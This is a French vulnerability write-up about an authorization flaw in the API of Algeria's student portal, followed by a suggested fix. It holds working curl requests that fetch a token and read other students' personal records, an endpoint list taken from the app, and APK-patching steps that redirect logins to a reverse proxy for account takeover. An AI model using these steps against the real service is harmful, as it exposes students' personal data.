Dans ce référentiel, j'expliquerai comment fonctionne l'exploit derrière l'exploit du portail des étudiants du ministère et comment peut-on les attaquants accèdent à la plupart des données des étudiants de toutes les universités et écoles supérieures.
Je suppose que tout le monde a remarqué que l'application WebEtu est lente et très boguée. Donc, après quelques recherches, j'ai remarqué que les données de l'application ne sont pas enregistrées correctement car elles sont toutes combinées en 1 chaîne JSON, ce qui entraînera un énorme impact sur les performances lors des opérations d’E/S. Après avoir commencé le processus de réécriture, j'ai remarqué un problème avec les requêtes API, Il transmet simplement le matricule de BAC et l'année de l'étudiant, et dans certains autres cas, la carte d'identité de l'université et continue. Donc, à ce stade, j'ai arrêté le processus de réécriture et j'ai commencé à enquêter sur son fonctionnement et j'ai découvert qu'après l'authentification, le jeton que vous avez reçu peut accéder à la plupart, sinon à tous les points finaux de l'API, ce qui expose toutes les informations sur les étudiants.
Cet exploit fonctionne en envoyant une requête au point final d'authentification de l'API : https://progres.mesrs.dz/api/authentication/v1/.
L'attaquant enverra une requête avec ces en-têtes :
Content-Type: application/json, text/plain, */*
User-Agent: okhttp/4.9.2 (Can be any OkHttp version)
Accept-Encoding: gzip
Et avec les données JSON
{
"username": "<progres-username>",
"password": "<progres-password>"
}Après avoir envoyé une demande appropriée, la réponse devrait ressembler à ceci :
{
"expirationDate": "2024-02-29T10:56:11.424+00:00",
"token": "SECRET-TOKEN",
"userId": 0,
"idIndividu": 0,
"etablissementId": 0,
"userName" :"<progres-username>"
}Et voilà, nous avons terminé la première étape. Et en obtenant le jeton, nous devrions avoir accès à presque tous les points de terminaison dans /api/infos/
En gros, soit c'est codé en dur, soit le(s) développeur(s) n'ont pas prêté attention à ce petit détail. Toute ingénierie inverse possédant des connaissances de base peut en abuser et accéder au point de terminaison de l'API en effectuant une ingénierie inverse de l'application WebEtu disponible sur Play Store et Apple Store.
Comme nous l'avons démontré précédemment, cet exploit peut être abusé en collectant un jeton API à l'aide du point de terminaison d'authentification. Voici une simple commande CURL pour expliquer comment procéder:
$ curl -X POST -H 'Content-Type: application/json, text/plain, */*' \
-H 'Accept-Encoding: gzip' \
-H 'User-Agent: okhttp/4.9.2' \
-d '{"username": "<username>", "password": "<password>"}' \
https://progres.mesrs.dz/api/authentication/v1/Après avoir exécuté cette commande, elle devrait renvoyer une chaîne json contenant vos données :
{
"expirationDate": "2024-02-29T10:56:11.424+00:00",
"token": "SECRET-TOKEN",
"userId": 0,
"idIndividu": 0,
"etablissementId": 0,
"userName" :"<progres-username>"
}Mais nous allons juste prêter attention au token, puisque c'est tout cela.
Voici une liste de tous les points de terminaison accessibles, ces URL sont extraites du fichier APK de l'application WebEtu sur la plateforme Android :
/infos/bac/<T>/<B>/notes (GET)
/infos/demandeTransport/<T>/<B>/<t> (GET)
/infos/bac/<T>/<B>/individu (GET)
/infos/bac/<T>/<B>/dias (GET)
/infos/logoEtablissement/<t> (GET)
/infos/bac/<T>/<B>/anneeAcademique/<t>/dia (GET)
/infos/niveau/<t>/periodes (GET)
/infos/dia/<t>/groups (GET)
/infos/bac/<T>/<B>/dias/<t>/periode/bilans (GET)
/infos/Examens/<t>/niveau/<s>/examens (GET)
/infos/bac/<H>/<k>/dia/<K>/annuel/bilan (GET)
/infos/Examens/<e>/niveau/<n>/examens (GET)
/infos/AnneeAcademiqueEncours (GET)
/infos/bac/<T>/<B> (GET)
/infos/image/<T>/<B> (GET)
/infos/dettes/<T>/<B> (GET)
/infos/congeacademiques/<T>/<B> (GET)
/infos/bac/<T>/<B>/demandesHebregement (GET)
/qitus/<T>/<B>/qitus (GET)
/infos/checkHebregement/<H.id> (GET)
/infos/checkInscription/<H.id> (GET)
/infos/checkTransport/<H.id> (GET)
/infos/offreFormation/<e>/niveau/<Coefficients> (GET)
/infos/controleContinue/dia/<e>/notesCC (GET)
/infos/niveau/<e>/periodes (GET)
/infos/planningSession/dia/<e>/noteExamens (GET)
/infos/offreFormation/<e>/niveau/<n>/planningExamens (GET)
/infos/bac/<H>/<k>/dias/<K>/periode/bilans (GET)
/infos/bac/<H>/<k>/dia/<K>/annuel/bilan (GET)
/infos/Examens/<e>/niveau/<n>/examens (GET)
/authentication/v1/ (POST)
/infos/demanderRenouvellementHebregement/<G>/<N>/<t.id> (POST)
Dans le Chapitre 2, nous avons expliqué comment l'attaquant peut récupérer un jeton et en abuser par lui-même.
Mais après avoir collecté le jeton, vous devriez pouvoir envoyer des requêtes via le serveur API.
Dans cet exemple, nous utiliserons CURL avec /infos/bac/<T>/<B>/individu/ pour expliquer son fonctionnement :
$ curl -X GET -H 'Accept: application/json, text/plain, */*' \
-H 'Accept-Encoding: gzip' \
-H 'User-Agent: okhttp/4.9.2' \
-H 'authorization: <TOKEN HERE>' \
https://progres.mesrs.dz/api/infos/bac/2023/30000000/individuAprès avoir envoyé une demande appropriée, le résultat devrait ressembler à ceci :
{
"id": 0,
"identifiant": "xxxxxxxx-xxxx-xxxx",
"dateNaissance": "1970-00-00T00:00:00.000+01:00",
"nomArabe": "الإسم الأخير بالعربي",
"nomLatin": "NAME IN LATIN",
"prenomArabe": "الإسم الأول بالعربي",
"prenomLatin": "FIRST NAME IN LATIN",
"lieuNaissance": "Algeirs",
"lieuNaissanceArabe": "الجزائر العاصمة",
"photo": "xxxxx.jpg",
"email": "student@mesrs.dz"
}Et c'est parti, nous avons collecté des informations sur l'étudiant que nous avons ciblé, cela peut également être automatisé pour supprimer les données de l'API, ce qui pourrait provoquer une violation de données à grande échelle.
Ce référentiel contient le code source d'un proxy inverse qui usurpe le processus d'authentification pour fausser
l'identité et obtenir ensuite un accès complet au compte de la cible.
Le code source du proxy inverse peut être trouvé ici
Après avoir configuré correctement le serveur, il devrait maintenant être ouvert dans le port 1357. Nous allons vider
l'application dans le fichier apk, puis modifier « assets/index.android.bundle » dans le fichier apk. Nous devons localiser
la chaîne suivante : https://progres.mesrs.dz/api/authentication/v1/ et la remplacer par notre proxy inverse auto-hébergé.
Par exemple : http://123.45.67.8:1357/api/authentication/v1/.
Après avoir effectué les étapes suivantes et démissionné du fichier APK avec un nouveau magasin de clés, et après avoir
installé l'apk sur notre téléphone, nous pouvons nous connecter à n'importe quel compte de notre choix et obtenir un contrôle total.
La solution est simple, après avoir généré le token vous devez uniquement lui donner accès à son compte, en vérifiant le numéro du bac et celui de l'étudiant. Je ne sais pas comment est écrit votre serveur backend, je ne peux donc pas juger à ce stade. Mais votre développeur devrait comprendre ce que je veux dire.
À la fin, nous pouvons voir à quel point il est facile d'exploiter une vulnérabilité et d'en abuser comme nous le souhaitons, et aussi comment de petits bugs peuvent provoquer de grandes violations de données, comme cela se produit dans de nombreuses entreprises. Le meilleur moyen est donc de documenter le code et de le maintenir périodiquement.